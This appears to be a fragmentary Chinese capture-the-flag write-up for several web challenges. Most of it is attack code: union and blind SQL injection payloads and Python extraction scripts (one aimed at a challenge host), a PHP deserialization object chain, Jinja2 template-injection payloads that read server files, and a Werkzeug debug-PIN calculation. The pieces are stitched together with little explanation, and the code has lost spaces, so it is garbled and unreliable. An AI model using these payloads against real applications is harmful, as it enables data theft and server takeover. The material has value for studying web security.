pages-blank.php?key=1' or 1=1 order by 5%23 判断存在5个字段
pages-blank.php?key=1' union select 1,2,3,4,5%23 回显在2处
/pages-blank.php?key=1' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()%23 表名:backup, flag, user
pages-blank.php?key=1' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database() and table_name='flag'%23 列名:id, flaaag
pages-blank.php?key=1' union select 1,flaaag,3,4,5 from flag%23 flag{7e67c965-96e3-4cf4-b3f5-2cdea749bb7d}
ezupload
无过滤,直接上传一句话,执行命令即可。白给?
下载下来研究一下怎么写的:
if (in_array($ext, ['php,htaccess,ini,'])) { die('upload failed'); }
?id=-1 or if((substr((fl4g),1,1) regexp "^f"), sleep(5),1)
所以就写脚本跑就行了:
import requests import time import datetime from urllib.parse import quote import string
url = "http://a4cbee3d20b542baaedefc971c0798dc808fea8f0de04dd9.changame.ichunqiu.com/?id=-1" words = string.printable[:94] # print(words)
target = 'fl4g' result = '' for i in range (1,50): for char in words: # 设置payload payload =' or if((substr(({}),{},1) regexp "^{}"),sleep(5),1)'.format(target, i, char) # 计算响应时长 start = int(time.time()) r = requests.get(url+quote(payload)) response_time = int(time.time()) - start
if response_time >= 4: result += char print('flag: {}'.format(result)) break
如果$sql = new User()的话,就会触发User内的__toString()魔术方法,该魔术方法内调用了$nickname属性的update()方法。虽然dbCtrl对象拥有update()方法,但真正是自己做的题的话就会发现,若$nickname实例化成个对象没意义,那个update()方法完全是障眼法,只能继续看。
<?php classUser { public $age= 'select password,id from user where username=?'; //要把id放password后面 public $nickname=null; }
classInfo{ public $age; public $nickname; public $CtrlCase; }
classUpdateHelper { public $sql; }
classdbCtrl { public $hostname = "127.0.0.1"; public $dbuser="noob123"; public $dbpass="noob123"; public $database="noob123"; public $name='admin'; public $token = 'admin'; }
$v0w = new UpdateHelper(); $v0w->sql = new User(); $v0w->sql->nickname = new Info(); $v0w->sql->nickname->CtrlCase = new dbCtrl();
unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:5:"token";s:5:"admin";}}}}}
defexp1(): str1 = ('0123456789'+string.ascii_letters+string.punctuation).replace("'","").replace('"','').replace('\\','') flag = '' select = 'select group_concat(table_name) from sys.x$schema_flattened_keys' for j in range(1,40): for i in str1: paylaod = "1/**/&&/**/(select substr(({}),{},1))='{}'".format(select, j, i) #print(paylaod) data = { 'id': paylaod, } r = requests.post(url,data=data) if'Nu1L'in r.text: flag += i print(flag) break
defexp2(): str1 = ('-0123456789'+string.ascii_uppercase+string.ascii_lowercase+string.punctuation).replace("'","").replace('"','').replace('\\','') flag = '' flag_table_name = 'f1ag_1s_h3r3_hhhhh' for j in range(1,39): for i in str1: i = flag+i paylaod = "1&&((select 1,concat('{}~',CAST('0' as json))) < (select * from {} limit 1))".format(i,flag_table_name) #print(paylaod) data = { 'id': paylaod, } r = requests.post(url,data=data)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('想要读取的文件', 'r').read() }}{% endif %}{% endfor %}
获取machine-id
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup', 'r').read() }}{% endif %}{% endfor %}
private_bits = [ '2485377957894',# mac address,需要转成十进制 '3c7c60af8484830ab0b1e9615fada4e74d93a8a111baa4afcd949feeab56c320'# machine-id ]
h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None if num isNone: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None if rv isNone: for group_size in5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num